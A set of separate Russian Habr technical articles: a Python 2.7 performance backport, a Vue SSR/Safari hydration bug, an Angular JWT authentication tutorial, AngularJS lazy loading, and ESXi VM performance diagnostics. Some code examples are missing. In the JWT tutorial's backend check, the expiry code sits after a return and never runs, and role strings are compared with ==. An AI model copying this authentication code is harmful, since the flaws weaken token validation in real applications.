Несмотря на то, что разработка Python 2 (а конкретно ветки Python 2.7.x) находится сейчас в состоянии «никаких новых фич», которое в обычной ситуации заранее ставит крест на любых крупных изменениях, команда разработки приняла решение рассмотреть и принять backport-патч из Python 3, привносящий заметное улучшение производительности интерпретатора.
Vamsi Parasa из команды оптимизации серверных скриптовых языков Intel предложил патч ([описание предложения с бенчмарками](http://article.gmane.org/gmane.comp.python.devel/153401)), переводящий блок `switch`, отвечающий за обработку Python-байткода, на использование [computed goto](https://gcc.gnu.org/onlinedocs/gcc/Labels-as-Values.html), как это уже сделано в Python 3. Как [объяснял](http://eli.thegreenplace.net/2012/07/12/computed-goto-for-efficient-dispatch-tables) Eli Bendersky, в таком огромном `switch`-блоке, как в блоке разбора байткода в CPython (состоящем из более чем 2000(!) строк), это даёт ускорение порядка 15-20%. Это происходит по двум причинам: `computed goto`, в отличие от `switch-case`, не производит граничных проверок, необходимых для оператора `switch` по стандарту C99, и, что, возможно, более важно, CPU может лучше [прогнозировать ветвления](https://ru.wikipedia.org/wiki/Предсказатель_переходов) в таких ситуациях, что приводит к уменьшению числа сбросов конвейера, являющихся по своей природе «дорогой» операцией.
Несмотря на то, что некоторые из разработчиков CPython были против внедрения этого патча, т.к. «[улучшение производительности — это не багфикс](https://lwn.net/Articles/647041/)», решение было принято в пользу Intel.
Одной из немаловажных причин стал тот факт, что Intel сообщили о своей готовности в дальнейшем помогать с поддержкой и улучшением CPython при условии открытости ветки 2.7 для изменений, связанных с производительностью. В частности, это значит, что в то время, как разработчики Intel занимаются «скучными» частями (в основном, исправлением ошибок и ускорением ветки 2.7), разработчики-добровольцы из opensource-сообщества смогут уделять больше времени более интересным задачам:
> «Делай крутые вещи бесплатно, найди способ получать деньги за выполнение скучных-но-необходимых задач (или оставь это тем, кому за это платят)» — хороший подход к opensource-разработке, в то время, как попытки сделать *всё* забесплатно — лёгкий путь к выгоранию.
>
> © [Nick Coghlan](https://lwn.net/Articles/647050/)
>
>
С этим [согласен](https://lwn.net/Articles/647052/) и «великодушный пожизненный диктатор» ван Россум, в частности потому, что компании Dropbox, на которую он работает, это поможет сохранить «кучу денег». По его словам, в таких больших компаниях процесс перехода на Python 3 происходит достаточно медленно, в то время, как обновление до последней актуальной версии из ветки 2.7 — нормальное явление. С идеей же «[сосредоточить усилия на Python 3, тем самым мотивируя сообщество скорее на него мигрировать](https://lwn.net/Articles/647053/)» Гвидо [не согласен](https://lwn.net/Articles/647055/).
Патч, ускоряющий работу интерпретатора Python 2.7, принят ([коммит](https://github.com/python/cpython/commit/57d001f0aa7a9a914d0936b7be17545409f61dae)) и запланирован к выходу в составе релиза 2.7.11, в декабре 2015. Несмотря на то, что Python 3 представляет множество новых фич, таких как [async/await](https://lwn.net/Articles/643786/), [указание типов](https://lwn.net/Articles/640359/) и многое другое, Python 2.7 всё ещё остаётся популярным (и в соответствии с текущими планами, поддерживается как минимум [до 2020 года](https://hg.python.org/peps/rev/76d43e52d978)), так что эта новость должна обрадовать большое количество Python-разработчиков по всему миру. | https://habr.com/ru/post/261575/ | null | ru | null |
# Vue.js SSR & мобильный Safari: неочевидная проблема со слишком умным ПО
На днях столкнулись с такой проблемой. Сгенерированный на стороне сервера код отказывался гидратироваться в Safari.
> Гидратация относится к процессу на стороне клиента, в течение которого Vue берёт статический HTML, отправленный сервером, и превращает его в динамический DOM, который может реагировать на изменения данных на стороне клиента. [Подробнее тут](https://ssr.vuejs.org/ru/guide/hydration.html).
>
>
«Прод» просто падал, а dev-версия сообщала, что имеются расхождения в dom. А так как dev-версия не падает при попытке гидратации, а только сообщает об этом в консоли, ошибка была неочевидна и пока мы ее нашли, прошло довольно много времени.
> Очень интересная стратегия от Vue – подождать продакшена и там упасть!
Полторы сотни компонентов разной сложности задачу не упрощали. В итоге удалось увидеть проблему, найти подходящее устройство и подружить его с консолью разработчика.
В итоге выяснилось, что падает наше приложение при подключении компонента футера. И когда нашли нужную строку, просто не поверили глазам. Ожидали все, что угодно, только не этого.
Оказалось, что когда удаляешь номер телефона, гидратация проходила без проблем. Когда начали копаться, выяснилось, что Safari после получения html-верстки подставлял рядом с телефоном тег **a**, который вызывал, собственно, приложение набора номера.
Естественно, когда начиналась гидратация, dom-а пришедшей с сервера страницы и вновь построенного виртуального не совпадали. Приложение падало без объявления войны.
Решилась это проблема тоже довольно неожиданно. До сего момента телефон мы вставляли обычным образом:
```
8 (800) 111 2 333
```
Решением проблемы стал биндинг v-text:
У меня есть теория на этот счет. Если кто-то сможет подтвердить ее или опровергнуть (предложив новую), буду очень признателен. Как я понимаю, после того, как Safari получил документ, Vue строит виртуальный dom и сравнивает его с этим документом и пока он этот документ гидратирует, Safari занимается своим тёмным делом и меняет телефон на ссылку. Когда доходит дело до этого поля, Vue с помощью v-text снова заменяет содержимое нашего дива на нужное нам. В итоге на момент сравнения dom-а совпадают, полет нормальный. | https://habr.com/ru/post/430618/ | null | ru | null |
# Angular — Имплементация безопасных запросов к GraphQL API посредством JWT-токенов
Привет Хабр! При реализации Angular проекта, остро встал вопрос о безопасности graphql запросов в Angular 4. Выбор пал на [JSON Web Tokens](https://jwt.io/). Это открытый стандарт по [RFC 7519](https://tools.ietf.org/html/rfc7519).
Работает JWT по следующей схеме:
Я начал изучать программирование и Angular относительно недавно, полгода назад, и являюсь наивным чукотским малъчиком. Поэтому любую критику относительно кода и логики, приму как дружеский совет.
Клиентом graphql мы использовали **apollo-angular** ([docs](http://dev.apollodata.com/angular2/), [github](https://github.com/apollographql/apollo-angular)), и токены JWT нужны были в хедере каждого запроса к GraphQL API.
Создаем наш сервис авторизации **AuthService**. Первичное получение токена реализовано через REST:
```
login(username: string, password: string){
let headers = new Headers({ "content-type": "application/json;charset=utf-8"});
let options = new RequestOptions({ headers: headers });
return this.http.post('http://localhost:8080/login', ({ username: username, password: password }), options)
.map((res : any) => {
if (res.status === 200) {
this.commonToken = res.json();
let data = this.commonToken;
this.accessToken = JSON.stringify(data.accessToken);
this.refreshToken = JSON.stringify(data.refreshToken);
sessionStorage.setItem('accessToken', this.accessToken);
sessionStorage.setItem('refreshToken', this.refreshToken);
return true;
}
})
};
```
Получаем accessToken и пишем его в **sessionStorage** браузера.
> Здесь стоит сделать отступление и заметить, что **sessionStorage** живет до закрытия вкладки/браузера, и если пользователь закрыл его, то сбрасывается все содержимое, и как следствие, теряется токен. Альтернатива: **localStorage** или **cookies**. В этом случае, токен будет находиться у пользователя до ручного удаления.
>
> Однако тут есть свои подводные камни. Какие именно камни, можно прочитать [в этой статье](https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage).
Есть еще refreshToken. О нем чуть позже.
Далее, нам необходим клиент, для работы с API. Используем apollo-client:
```
import ApolloClient, {
createNetworkInterface
} from 'apollo-client';
const networkInterface = createNetworkInterface({
uri: 'http://localhost:8080/graphql',
opts: {
mode: 'cors'
}
});
networkInterface.use([
{
applyMiddleware(req, next) {
if (!req.options.headers) {
req.options.headers = {};
}
if (sessionStorage.getItem('accessToken')) {
req.options.headers['authorization'] = `${JSON.parse(sessionStorage.getItem('accessToken'))}`;
}
next();
}
}
]);
const apolloClient = new ApolloClient({
networkInterface
});
export function provideClient(): ApolloClient {
return apolloClient;
}
export class GraphqlClient{}
```
В этом куске кода, мы берем наш токен из sessionStorage, и пишем его в хедер **authorization**.
У apollo-client есть пара методов для networkInterface: [Middleware и Afterware](http://dev.apollodata.com/core/network.html). В нашем случае, использовался Middleware, его целью является применение тех или иных параметров, перед отправкой запроса к API.
И еще один немаловажный момент. В параметре **opts**, указан **mode: 'cors'**. Это сделано для Spring Security, на котором крутится мой бэк, в случае если на бекэнде нет [cross-origin HTTP request](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS) фильтра, мод можно переключить на 'no-cors'.
Теперь, все запросы или мутации, уходящие посредством apollo-client, будут иметь в хедере наш jwt-токен. На бэкенде, реализована проверка этого токена на валидность и жизнеспособность по времени. Код не мой.
```
private TokenAuthentication processAuthentication(TokenAuthentication authentication) throws AuthenticationException {
String token = authentication.getToken();
DefaultClaims claims;
try {
claims = (DefaultClaims) Jwts.parser().setSigningKey(DefaultTokenService.KEY).parse(token).getBody();
} catch (UnsupportedJwtException | MalformedJwtException | IllegalArgumentException | SignatureException ex) {
throw new AuthenticationServiceException("Invalid JWT token:", ex);
} catch (ExpiredJwtException expiredEx) {
throw new AuthenticationServiceException("JWT Token expired", expiredEx);
}
return buildFullTokenAuthentication(authentication, claims);
if (claims.get("TOKEN_EXPIRATION_DATE", Long.class) == null)
throw new AuthenticationServiceException("Invalid tokens");
Date expiredDate = new Date(claims.get("TOKEN_EXPIRATION_DATE", Long.class));
if (expiredDate.after(new Date()))
return buildFullTokenAuthentication(authentication, claims);
else
throw new AuthenticationServiceException("Token expired date error");
}
private TokenAuthentication buildFullTokenAuthentication(TokenAuthentication authentication, DefaultClaims claims) {
String username = claims.get("username", String.class);
Long userId = Long.valueOf(claims.get("userId", String.class));
String auth = claims.get("authorities", String.class);
if(Roles.REFRESH_TOKEN == auth) {
throw new AuthenticationServiceException("Refresh token can't be used for authorization!!!");
}
List authorities = new ArrayList<>();
authorities.add(new SimpleGrantedAuthority(auth));
TokenAuthentication fullTokenAuthentication = new TokenAuthentication(authentication.getToken(), true,
authorities, username, userId);
return fullTokenAuthentication;
}
```
Теперь о refreshToken. Задача refreshToken'a обновить устаревший accessToken.
Реализации могут быть разные, начиная от примитивной проверки в AuthGuard сервисе Angular'a, заканчивая scheduler сервисом, который будет обновлять токен по заданному интервалу времени. В моем случае, был сделан первый вариант. Когда додумаюсь до более умного варианта, реализую. Пока что смог только так.
Итак, создаем метод в нашем сервисе **AuthService**, который будет вызываться, если наш сервис проверки **AuthGuard** заметит, что истек срок действия токена:
```
refresh() {
let token = sessionStorage.getItem('accessToken');
let refToken = sessionStorage.getItem('refreshToken');
let headers = new Headers({ "content-type": "application/x-www-form-urlencoded"});
let options = new RequestOptions({headers: headers});
let body = new URLSearchParams();
body.set('RefreshToken', refToken);
if (token != null && refToken != null) {
return this.http.post('http://localhost:8080/login/refresh', body, options)
.subscribe((res : any) => {
if (res) {
this.commonToken = res.json();
let data = this.commonToken;
this.accessToken = JSON.stringify(data.accessToken);
sessionStorage.setItem('accessToken', this.accessToken);
}
})
} else {
console.error('An error occurred');
}
}
```
Далее, создаем собственно сервис проверки **AuthGuard**:
```
import { Injectable } from '@angular/core';
import {Router, CanActivate, RouterStateSnapshot, ActivatedRouteSnapshot} from '@angular/router';
import {JwtHelper} from "angular2-jwt";
import {AuthService} from "./auth.service";
@Injectable()
export class AuthGuard implements CanActivate {
jwtHelper: JwtHelper = new JwtHelper();
constructor(private authService: AuthService, private router: Router) { }
canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
let accessToken = sessionStorage.getItem('accessToken');
let refreshToken = sessionStorage.getItem('refreshToken');
if (accessToken && refreshToken) {
if (this.jwtHelper.isTokenExpired(accessToken)){
this.authService.refresh()
} else {
return true
}
}
this.router.navigateByUrl('/unauthorized');
}
}
```
Здесь используется библиотека [angular2-jwt](https://github.com/auth0/angular2-jwt) и ее метод **isTokenExpired()**. Если метод возвращает true, вызываем созданный ранее метод refresh() и обновляем токен.
Если кому то будет интересно почитать насчет JWT, то вот хороший обзор на английском [What is a JSON Web Token?](http://robmclarty.com/blog/what-is-a-json-web-token)
Рад критике и хорошим советам. | https://habr.com/ru/post/336082/ | null | ru | null |
# AngularJS + Webpack = lazyLoad
Вступление
----------
При написании Single Page Application разработчики в большинстве случаев сталкиваются с одной очень распространенной проблемой, а именно — создание lazyLoad модулей и их последующая загрузка на сторону клиента. Т.е. по какому-то действию или по переходу по URL (в большинстве случаев) мы должны загрузить определенный набор зависимостей — JavaScript, CSS, HTML и т.д. В реалиях современной Front-End разработки это будет большущий JavaScript файл. В этой статье я хочу поделиться своим опытом и показать как реализовать lazyLoad модули для AngularJS и тем самым уменьшить общий объем кода при первой загрузке приложения.
Почему AngularJS 1.x
--------------------
Наверное, у тебя, уважаемый читатель, появился резонный вопрос: «Стоп, какой AngularJS 1.x, ведь совсем недавно был [релиз Angular v5.2](https://twitter.com/angular/status/951171093879865344)». Вопрос более чем уместен. Все просто, довольно много проектов, которые используют AngularJS 1.x и при этом себя хорошо чувствуют. Есть целый ряд отраслей для которых переход на новую версию очень затратный как в человеко-часах, так и в денежном эквиваленте. AngularJS 1.x еще очень востребован на рынке.
Велосипеды, которые уже есть
----------------------------
Так уж повелось, что в мире Front-End разработки велосипедов инструментов/подходов, чтобы решить один и тот же вопрос — вагон и маленькая тележка. Каждый выбирает под свои нужды, умения и знания. И здесь нет какого-то одного выверенного решения, которое подойдет в 99,99% случаев. Это и не хорошо и не плохо. Просто нужно это принять и жить дальше разрабатывать дальше. Кто-то выбирает [RequireJS](http://requirejs.org/), кто-то [curl.js](https://github.com/cujojs/curl), кто-то [Browserify](http://browserify.org), кто-то <вставить свое>. Мы рассмотрим как реализовать lazyLoad загрузку модулей с использованием [Webpack](http://webpack.js.org), [UI-Router](https://ui-router.github.io/ng1/) и [ocLazyLoad](https://oclazyload.readme.io/). Всю закулисную магию будет проделывать **ocLazyLoad**. Если мы попробуем сделать lazyLoad модуль при помощи того же `require.ensure` и без использования ocLazyLoad, то получим примерно такую ошибку:
Структура проекта
-----------------
Итак, приступим. Оригинальный код проекта, для которого мне нужно было реализовать lazyLoad модули, я не могу предоставлять в общий доступ. Поэтому я сделал небольшое приложение. Я старался сделать так, чтобы приложение не выглядело как звездолет в котором непонятно, что откуда берется и вообще как это все работает. Основное назначение — это сделать рабочий прототип, который будет [доступен онлайн](https://angularjs-lazyload.herokuapp.com) ([не только исходники](https://github.com/var-bin/angularjs-lazyload)). Ниже вы можете видеть структуру проекта для веток `require-ensure` и `system-import`. Для ветки `import-es6` мы внесем небольшое дополнение.
```
project-root
├── src
│ ├── core
│ │ ├── bootstrap.js
│ ├── pages
│ │ ├── home
│ │ │ ├── about
│ │ │ │ ├── about.module.js
│ │ │ │ ├── about.view.html
│ │ │ ├── index
│ │ │ │ ├── index.module.js
│ │ │ │ ├── index.view.html
│ │ │ ├── home.module.js
│ │ │ ├── home.module.routing.js
│ │ │ ├── home.module.states.js
├── app.js
├── index.html
```
Прежде, чем мы приступим к работе с кодом, давайте обсудим **два важных момента**, которые влияют на то, будет ли наш модуль lazyLoad или нет:
1. Чтобы модуль стал lazyLoad его не нужно указывать как зависимость для других модулей.
2. Модуль не должен быть импортирован нигде, кроме того роута для которого вы хотите сделать этот модуль lazyLoad.
Если не очень понятно, не волнуйтесь — на практике сразу станет ясно, что к чему.
require.ensure() + $ocLazyLoad
------------------------------
`require.ensure` был предложен командой webpack еще в его первых версиях. Этот метод позволяет разработчикам динамически создавать отдельные файлы (чанки в контексте терминологии webpack) с какой-то частью кода, которые будут впоследствии загружены по требованию на стороне клиента. Данный подход является менее предпочтительным для создания динамически загружаемых модулей, но если сильно хочеться, то ничего страшного в этом нет. Этот метод подойдет прекрасно тем, кто хочет сделать lazyLoad модули без больших затрат на рефакторинг. Ниже вы можете видеть пример использования `require.ensure` для загрузки `index.module.js`:
Для `about.module.js` код будет идентичным, за исключением путей к модулю и некоторых других параметров. Ниже вы можете видеть пример использования `require.ensure` для загрузки `about.module.js`:
Как вы могли заметить из кода вся магия происходит вот в этой сроке:
```
$ocLazyLoad.load(module.HOME_ABOUT_MODULE);
```
Есть другой вариант указания модуля — через объект:
```
$ocLazyLoad.load({
name: "home.module"
});
```
Но в таком случае, мы себя ограничиваем в свободе действий. Если мы захотим переименовать модуль, то нужно будет менять код в нескольких местах. Также есть большая вероятность допустить ошибку при написании имени модуля. **Я вам настоятельно рекомендую не использовать этот подход.**
Хотел бы обратить ваше внимание на один важный нюанс в отношении `about.module.js` и последующей загрузки на сторону клиента. Посмотрите на скрин ниже:
При переходе по `Home/About` ссылке подгружаются сразу два файла: `index.module.chunk.js` и `about.module.chunk.js`. Так происходит потому что `home.about` URL является дочерним по отношению к `home` URL. Об этом стоит помнить. Забегая немного наперед, в последнем разделе мы добавим еще один модуль с новым URL, и увидим, что для него будет грузиться только один файл и больше ничего.
System.import + $ocLazyLoad
---------------------------
Я долго думал писать про этот подход или нет. Считаю, что нужно о нем поговорить.
[System.import](https://webpack.js.org/api/module-methods/#import-) это другая конструкция от команды webpack, [которую впоследствии запретили](https://github.com/webpack/webpack/releases/tag/v2.1.0-beta.28), но этот подход продолжают предлагать как вариант реализации. Более того, эта конструкция продолжает работать и в новых версиях webpack. Подозреваю, что это сделали из соображений совместимости. Если вы используете эту конструкцию в своем проекте, то у меня плохие новости — она в статусе **deprecated**. Кода в этом разделе не будет. Идем дальше.
Dynamic imports + $ocLazyLoad
-----------------------------
Возможно, вы уже слышали, что [Chrome 63 и Safari Technology Preview 24](https://developers.google.com/web/updates/2017/11/dynamic-import) выкатили обновления и теперь разработчикам доступны динамические импорты. Да, да, те самые динамические импорты, которые были предложены в [спецификации](https://github.com/tc39/proposal-dynamic-import). Еще в [далеком 2016](https://github.com/webpack/webpack/issues/2163) команда webpack внедрила поддержку динамических импортов.
В этом разделе мы добавим еще один модуль в корень директории `pages`, чтобы убедиться в правильной работе lazyLoad. Структура для ветки `import-es6` представлена ниже:
```
project-root
├── src
│ ├── core
│ │ ├── bootstrap.js
│ ├── pages
│ │ ├── blog
│ │ │ ├── blog.module.js
│ │ │ ├── blog.service.js
│ │ │ ├── blog.view.html
│ │ ├── home
│ │ │ ├── about
│ │ │ │ ├── about.module.js
│ │ │ │ ├── about.view.html
│ │ │ ├── index
│ │ │ │ ├── index.module.js
│ │ │ │ ├── index.view.html
│ │ │ ├── home.module.js
│ │ │ ├── home.module.routing.js
│ │ │ ├── home.module.states.js
├── app.js
├── app.routing
├── app.states.js
├── index.html
```
Если вы не используете у себя в проекте [Babel](https://babeljs.io/) или [TypeScript](https://www.typescriptlang.org/), то все заведется с коробки без лишних танцев с бубном. Но и вы и я знаем, что в реалиях современного Front-End очень сложно писать код без Babel или TypeScript. Поговорим про Babel. Для начала нам нужно установить дополнительный плагин для Babel, который понимает синтаксис динамических импортов: [syntax-dynamic-import](http://babeljs.io/docs/plugins/syntax-dynamic-import/). Иначе мы получим ошибку:
Далее нам нужно добавить `.babelrc` с настройками:
Теперь вторая неприятная ошибка, которую вы можете видеть ниже:
Да, вы не ошиблись, [ESLint тоже не понимает динамических импортов](https://github.com/eslint/eslint/issues/7764). Чтобы это поправить нужно установить специальный парсер для ESLint [babel-eslint](https://github.com/babel/babel-eslint) и тогда все заработает как по маслу. Добавим `.eslintrc` с настройками:
Что ж, пришло время попробовать динамические импорты на деле. Протестируем их на новом модуле:
Как вы могли заметить из кода, команда webpack добавила несколько приятных фишек к динамическим импортам. Есть возможность указать название итогового чанка, который создаст webpack, а также мы можем указать способ загрузки. Подробнее про это читайте [здесь](https://webpack.js.org/api/module-methods/#import-). На видео ниже вы можете наблюдать работу динамических импортов:
Component vs. Template
----------------------
Для загрузки модулей использовалось свойство `component`. Можно использовать вместо свойства `component` свойство под именем `template`. Работают они практически одинаково, с одним лишь нюансом. Если вы опечатались в названии компоненты или по каким-то другим причинам компонента недоступна, то вы получите ошибку в консоли. С `template` вы такой ошибки не получите. И можно очень долго искать в чем проблема.
Полезные ссылки
---------------
1. [How to route to AngularJS 1.5 components](https://ui-router.github.io/guide/ng1/route-to-component)
2. [Lazy loading in UI-Router](https://ui-router.github.io/guide/lazyloading)
3. [Исходный код на GitHub](https://github.com/var-bin/angularjs-lazyload)
4. [Проект на Heroku](https://angularjs-lazyload.herokuapp.com)
Вместо заключения
-----------------
lazyLoad модули в контексте AngularJS приложения — это отличная возможность сделать ваше приложение более легковесистым, более отзывчивым и более распределенным. Времена меняются, требования к приложениям растут, а с ними растут и объемы кода, которые мы доставляем на клиент. Если раньше было достаточно собрать весь код в единый файл, отдать его конечному пользователю и все было круто, то сейчас это непозволительная роскошь. Наблюдается тенденция разделения приложения в зависимости от URL с выделением общего кода.
На этом все. Спасибо за внимание. Кто дочитал до конца, отдельное спасибо.
> P.S. Если у вас был подобный опыт в реализации lazyLoad модулей для AngularJS приложения — поделитесь им в комментариях. | https://habr.com/ru/post/346406/ | null | ru | null |
# Как найти проблему с производительностью ВМ на VMware ESXi
В этой статье я расскажу, как искать ~~иголку в стоге сена~~ причину проблем с производительностью ВМ на ESXi. Главным способом будет то, что так не любят многие администраторы: планомерная проверка всех ресурсов на утилизацию, сатурацию и ошибки. Я приведу ключевые метрики, на которые следует обратить внимание, их краткое описание и значения, на которые можно ориентироваться, как на норму. При этом важно понимать, что разные системы имеют разные требования к производительности. Следовательно, то, что приемлемо для одной системы, для другой может являться признаком аварийного состояния.
Кроме своих наработок, я также использовал материалы из разных англоязычных источников. По некоторым вопросам описания тянули на отдельные статьи, поэтому на них я дал ссылки.
Нашим первым шагом должна быть быстрая базовая проверка основных параметров – ее сценарий я опишу в начале статьи. Если базовая проверка не нашла причины проблем, то, скорее всего, укажет направление, в котором мы запустим расширенную проверку. В любом случае, более глубокая расширенная проверка всех доступных параметров поможет в итоге найти корень проблем. С этим обнадеживающим фактом давайте приступим. Напомню, что проверяемые параметры стоит фиксировать скриншотами.
### Выясняем симптомы проблемы
Вот краткий список ключевых вопросов, на которые нужно ответить:
1. Как проявляются проблемы производительности? Описываем словами, снимками, прикладываем графики.
2. Когда работало хорошо и когда начало работать плохо? Вспоминаем даты и время.
3. Были ли какие-то аппаратные, программные или нагрузочные изменения?
4. Охватывает ли проблема другие системы или только одну, например: ВМ, vApp, группу ВМ, кластер, группу кластеров и т. д.
### Часть 1. Базовая проверка
Цель базовой проверки – быстро выяснить направление, в котором находится источник проблем производительности. Учитывайте, что графики в vSphere Client усредняют значения со временем, и лучше собирать максимум информации в любую стороннюю систему мониторинга (Prometeus, Zabbix, VMware vRealize Operation Manager и т. д.). Если такой системы нет, то воспроизводим проблему в реальном времени и наблюдаем за ней со стороны гипервизора. По результатам базовой проверки решаем, нужно ли дальнейшее расследование.
#### Проверяем ВМ из vSphere Client
1. Triggered Alarms, Tasks и Events не должны содержать событий, коррелирующих с проблемой.
2. CPU
1. Usage не должен превышать 90%.
Usage – процент активно задействованных мощностей виртуальных CPU. Это среднее значение загруженности CPU в виртуальной машине. Например, если виртуальная машина с одним виртуальным CPU работает на хосте, имеющем четыре физических CPU, и Usage виртуального CPU составляет 100%, то виртуальная машина полностью использует один физический CPU.
Usage виртуального CPU = usagemhz / кол-во виртуальных CPU x частота ядра.
2. Ready не должен превышать 10% на ядро.
Ready показывает время, в течение которого виртуальная машина была готова к использованию, но не могла быть запущена на физическом CPU из-за нехватки ресурсов. Ready % зависит от количества виртуальных машин на хосте и загруженности их CPU.
3. Memory
1. Ballooned должен быть равен 0.
Этот параметр указывает на объем памяти, захваченной драйвером управления памятью ВМ (vmmemctl), который установлен в гостевую ОС вместе с VMware Tools. Данный объем перераспределяется от ВМ к гипервизору в условиях её нехватки. То же самое происходит, когда неверно выставлен Memory Limit на ВМ или ресурсный пул – это тоже ухудшает производительность ВМ.
2. Swapped должен быть равен 0.
Это текущий объем гостевой физической памяти, которую VMkernel выгрузил в файл подкачки ВМ. Выгруженная память остается на диске до тех пор, пока она не понадобится ВМ, либо пока не будет запущен принудительный механизм unswap. Подробнее расписано тут: <https://www.yellow-bricks.com/2016/06/02/memory-pages-swapped-can-unswap/>
4. Virtual Disk
1. Нормально, если отсутствуют мгновенные снимки старше 24 часов.
2. Highest latency не должен превышать приемлемых для приложения значений.
Это наибольшее значение задержки среди всех дисков, используемых ВМ. Измеряет время, необходимое для обработки команды SCSI, которое гостевая ОС предоставила виртуальной машине. Задержка ядра – это время, которое требуется VMkernel для обработки запроса ввода/вывода. Задержка устройства – это время, которое требуется оборудованию для обработки запроса.
Есть прямая зависимость от размера блока ввода/вывода (Write request size и Read request size) с временем задержки, за которое этот блок будет обработан подсистемой хранения.
3. Write request size и Read request size не должны коррелировать с Highest latency.
Важным нюансом этой метрики является то, что vSphere не отображает размеры блока более 512 КБ: вы увидите рост задержек вследствие роста размера блока выше 512 КБ, но при этом не будете видеть рост размера самого блока. Увидеть его можно только через утилиту хоста ESXi vscsiStats.
Подробнее о vscsiStats здесь: <https://communities.vmware.com/t5/Storage-Performance/Using-vscsiStats-for-Storage-Performance-Analysis/ta-p/2796805>
Здесь можно превратить вывод команды в гистограмму: <https://www.virten.net/vmware/vscsistats-grapher/>
4. Average commands issued per second не должен превышать IOPS Limit.
5. Commands aborted и Bus resets должны равняться 0.
5. Network
1. Usage не должен достигать предела (vmnic хоста, политик коммутирующего оборудования или маршрутизатора).
Этот параметр отображает объем данных, переданных и полученных всеми виртуальными сетевыми картами, подключенными к виртуальной машине.
2. Receive packets dropped и Transmit packets dropped должен равняться 0.
3. Packets received и Packets transmitted не должны содержать скачков, коррелирующих с проблемой в разбивке по типам Broadcast, Unicast и Multicast.
#### Проверяем хост из vSphere Client
1. Triggered Alarms, Tasks и Events не должны содержать событий, коррелирующих с проблемой.
2. CPU
1. Usage по всему хосту не должен превышать 80%.
2. Ready не должен превышать 10% на ядро (как перевести из summation в проценты подробно читайте тут: <https://kb.vmware.com/s/article/2002181>).
3. Memory
1. Balloned должен равняться 0.
Это сумма значений vmmemctl для всех включенных ВМ и служб vSphere на хосте. Если целевой размер balloon (дословно переводится как «шар») больше, чем текущий, VMkernel «раздувает» balloon внутри ВМ, в результате чего освобождается больше памяти хоста. Если целевой размер balloon меньше, чем текущий, VMkernel «сдувает» balloon, что позволяет процессам внутри ВМ при необходимости использовать больше памяти. Подробнее про ballooning тут: <https://docs.vmware.com/en/VMware-vSphere/8.0/vsphere-resource-management/GUID-2B1086F3-B3F5-426C-9162-3C3CDD23A5DF.html>
2. Swap consumed должен быть равен 0.
Это объем памяти, которая используется для подкачки всех включенных ВМ и служб vSphere на хосте.
3. Page-fault latency должно равняться 0.
Это время ожидания виртуальной машиной доступа к сжатой памяти или файлу подкачки.4. Storage adapter
1. Write rate и Read rate не должны превышать пропускную способность vmhba, коммутирующего оборудования до хранилища или пропускной способности хранилища.
2. Write latency и Read latency должны примерно равняться по всем активным vmhba.
Если какая-то из vmhba сильно выбивается по задержкам или нагрузке, то следует удостовериться, что политика мультипасинга выставлена корректно. Подробнее о политиках тут: <https://kb.vmware.com/s/article/1011340>. Большинство современных хранилищ позволяют применять политику Round Robin. После проверки политики стоит обратить внимание на качество соединения.5. Network:
1. Usage не должен превышать пределов vmnic.
Это суммарный объем данных, которые передают и получают все физические сетевые карты, подключенные к хосту.
2. Receive packets dropped и Transmit packets dropped должны равняться 0.
3. Packets received и Packets transmitted не должны содержать скачков, коррелирующих с проблемой в разбивке по типам Broadcast, Unicast и Multicast.
Часть 2. Расширенная проверка
-----------------------------
Если результаты базовой проверки не указали на главную причину проблем с производительностью, делаем расширенную проверку.
#### Проверяем ВМ и хост
Здесь большая часть метрик берется из утилиты хоста ESXi esxtop. Очень кстати вывод esxtop можно записывать в csv-файл. Формат csv позволяет открыть его, к примеру, в PerfMon на Windows и проанализировать не только мгновенные значения, но и их изменение во времени.
Запись одной тысячи точек с шагом раз в две секунды можно выполнить так:
```
esxtop -a -b -d 2 -n 1000 > esxtop-output.csv
```
1. Должны отсутствовать ошибки в vmware.log ВМ, vmkernel.log хоста, в журнале IPMI хоста и во внешних системах журналирования по объектам, релевантным проблеме.
2. CPU в esxtop (клавиша ‘c’)
1. CPU load average не должен превышать 1.
Это среднее арифметическое значение загрузки CPU за 1 минуту, 5 минут и 15 минут, основанное на 6-секундных выборках.
2. %USED не должен превышать 90 на ядро.
Это процент физического процессорного времени, приходящийся на world. В эту величину входит метрика %RUN, обозначающая процент времени, когда world вычислялся на физическом CPU. Дополнительно сюда засчитывается %SYS, обозначающая процент времени, при котором VMkernel обрабатывал прерывания и выполнял иные системные действия для данного world. Метрика же %OVRLP вычитается из данной и отражает процент времени, которое world провел в очереди на выполнение, ожидая завершения системных действий в отношении других world.
%USED = %RUN + %SYS - %OVRLP.
3. %RDY не должен превышать 10.
Это процент времени, в течение которого world был готов к запуску.
**Поясню:** world, который стоит в очереди, ожидает, пока планировщик разрешит ему запуск на физическом CPU. %RDY – процент от этого времени, поэтому он всегда меньше 100%.
Если в настройках ресурсов ВМ установлен CPU Limit, то планировщик не станет размещать ВМ на физическом CPU, когда она израсходует выделенный ей ресурс CPU. Это может произойти даже при наличии большого количества свободных тактов CPU. Время, в течение которого планировщик намеренно удерживает ВМ, отображается в параметре %MLMTD, который мы опишем дальше. Обратите внимание, что параметр %RDY включает в себя %MLMTD. Для определения задержки процессора мы будем использовать формулу: %RDY – %MLMTD. Поэтому, если показатель %RDY – %MLMTD высокий, например больше 10%, вы можете столкнуться с проблемой нехватки мощностей CPU.
Рекомендуемый порог зависит от обстоятельств. Для пробы можно начать с 10%. Если скорость работы приложения в ВМ в порядке, то оставьте порог как есть. В противном случае – снизьте порог.
Закономерный вопрос: а что составляет 100% времени?
World может находиться в разных состояниях: он запланирован к запуску, готов к запуску, но не запланирован, или не готов к запуску, то есть ожидает какое-либо событие.
100% = %RUN + %RDY + %CSTP + %WAIT.
4. %CSTP не должен превышать 3.
Это процент времени, в течение которого world находится в состоянии co-schedule. Состояние co-schedule применимо только для многопроцессорных виртуальных машин. Планировщик CPU ESXi намеренно переводит виртуальный CPU в это состояние, если этот виртуальный CPU опережает в вычислениях другие виртуальные CPU данной ВМ.
Высокий показатель %CSTP означает, что ВМ неравномерно использует виртуальные CPU. Приложение использует CPU с высоким %CSTP внутри ВМ гораздо чаще, чем остальные её CPU.
5. %MLMTD должен равняться 0.
Это процент времени, в течение которого world был готов к запуску, но не запущен планировщиком из-за настроек CPU Limit.
